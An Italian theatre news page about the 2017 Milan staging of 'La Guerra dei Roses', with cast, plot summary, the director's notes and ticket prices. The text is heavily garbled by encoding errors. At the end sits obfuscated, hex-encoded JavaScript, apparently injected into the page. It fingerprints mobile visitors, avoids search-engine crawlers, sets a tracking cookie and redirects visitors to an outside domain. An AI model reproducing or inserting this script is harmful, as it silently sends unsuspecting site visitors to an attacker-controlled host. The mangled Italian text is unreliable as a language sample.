News

La Guerra dei Roses, dal 9 al 26 novembre al Teatro Manzoni di Milano

Dal 9 al 26 novembre 2017 sul spalco del Teatro Manzoni di Milano, Valerio Santoro per la Pirandelliana in coproduzione con Goldenart Production e Artisti Riuniti presenta AMBRA ANGIOLINIA� e MATTEO CREMON in LA GUERRA DEI ROSES di Warren AdlerA� traduzione di Antonia Brancati e Enrico Luttmann – con Massimo Cagnina e Emanuela Guaiana – regia FILIPPO DINI – Scenografie Laura Benzi – Costumi Alessandro Lai – Luci Pasquale Mari – Musiche Arturo Annecchino.

 

a�?La guerra dei Rosesa�? A? prima di tutto il titolo di un romanzo del 1981 e poi otto anni piA? tardi diventa un enorme successo cinematografico per la regia di Danny De Vito. La��autore del romanzo, Warren Adler, scrive anche il soggetto del film e in seguito deciderA� di adattare questa vicenda anche per il teatro, creando una commedia straordinaria, raffinata e caotica al tempo stesso, comica e crudele, ridicola e folle, trovando forse in teatro la sua dimensione ideale, per la sua potenza espressiva e la sua dimensione terribilmente onirica.

La storia, nota ormai a tutti, grazie alla fama della pellicola cinematografica, e alla notorietA� oltre che alla splendida affinitA� interpretativa dei suoi protagonisti (Michael Douglas e Kathleen Turner), narra della lenta e terribile separazione tra i coniugi Rose, lui ricco e ambizioso uomo da��affari, tronfio della sua fortunatissima carriera, lei una moglie obbediente, ma mai dimessa, che lo ha accompagnato nella sua brillante ascesa, con amore, stima profonda e un pizzico di fascinazione per le piccole o grandi comoditA�, che la loro vita quotidiana andava conquistandosi.

Tutto questo avviene, come ci A? lasciato intuire dalle prime scene, in una��atmosfera di profondo amore, di sincera passione, alla��interno di una cornice rosa e perfetta, lontani dal sospetto, appunto inesistente tra i Rose, di un qualsivoglia senso di raggiro o personale tornaconto, la dinamica del loro vivere insieme pare (ed A?!) motivata soltanto dal reciproco amore. Ma ad un tratto, poco dopo la��inizio della nostra commedia, tutto questo si rompe, si infrange contro lo scoglio della mancata realizzazione professionale di lei.

Tutta la loro vita passata insieme, viene da lei completamente riscritta e reinterpretata, la sua maturata presa di coscienza la rafforza e la sprona, con una ferocia degna di una grande eroina, a scagliarsi sul suo amato, ora il responsabile della sua mancata affermazione, in un crescendo di cattiveria, rabbia e reciproche atrocitA�, fino alle estreme conseguenze.


Note di regia
La grandezza della��amore si esprime in questa commedia attraverso la sua fine.

Adler ci pone di fronte ad una delle piA? potenti e straordinarie deflagrazione umane: la separazione di un uomo e una donna che hanno condiviso un grande amore.

Non ca��A? al mondo espressione piA? sconvolgente della potenza della��essere umano, non a caso il titolo la paragona ad una guerra, e non solo, ad una delle piA? sanguinose guerre della storia inglese, una guerra nata in a�?casaa�? appunto, la guerra tra due rami della stessa famiglia, la guerra delle due rose.

La messa in scena racconta appunto di una guerra, due schieramenti, e volutamente si A? scelto di affidare tutti i personaggi a solo quattro interpreti, due uomini e due donne, in campo a combattere per la propria legittimitA� su questo pianeta.

Il signor Rose e la signora Rose e i loro doppi, che interpretano i loro rispettivi avvocati e altri personaggi nei quali si imbattono i protagonisti, come in un sogno che non avrA� un lieto fine, ci divertiranno fino alle lacrime per la loro comicitA� e ci turberanno nel profondo, poichA� sveleranno in modo piA? o meno consapevole i nostri intimi fallimenti nel comprendere la��a�?altroa�?, la��opposto, alla��interno di noi stessi.

La vera guerra, forse assai piA? sanguinosa si svolgerA� dentro di noi, nel percepire vittime e carnefici alla��interno delle nostre irrisolte metA�, rintanate nelle viscere delle nostre coscienze.

Adler ci aiuta, con un sorriso, ad affrontare questa guerra, con coraggio e con leggerezza.

E forse ci permetterA�, quindi, di tendere una mano alla��altro, per invitarci a uscire da quella a�?casaa�? e andare incontro ad un a�?esternoa�?, ad un futuro nel quale la��uomo, prima ancora della donna, tornerA� ad essere in grado di capire, accettare, dialogare con la sua intima femminilitA� offesa e deturpata spesso in ognuno di noi. (Filippo Dini)

 

ORARI: feriali ore 20,45 – domenica ore 15,30
BIGLIETTI: Poltronissima Prestige a�� 35,00 – Poltronissima a�� 32,00 – Poltrona a�� 23,00A�A�A�A�A�A�A�A� Poltronissima under 26 a�� 15,00

A�

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}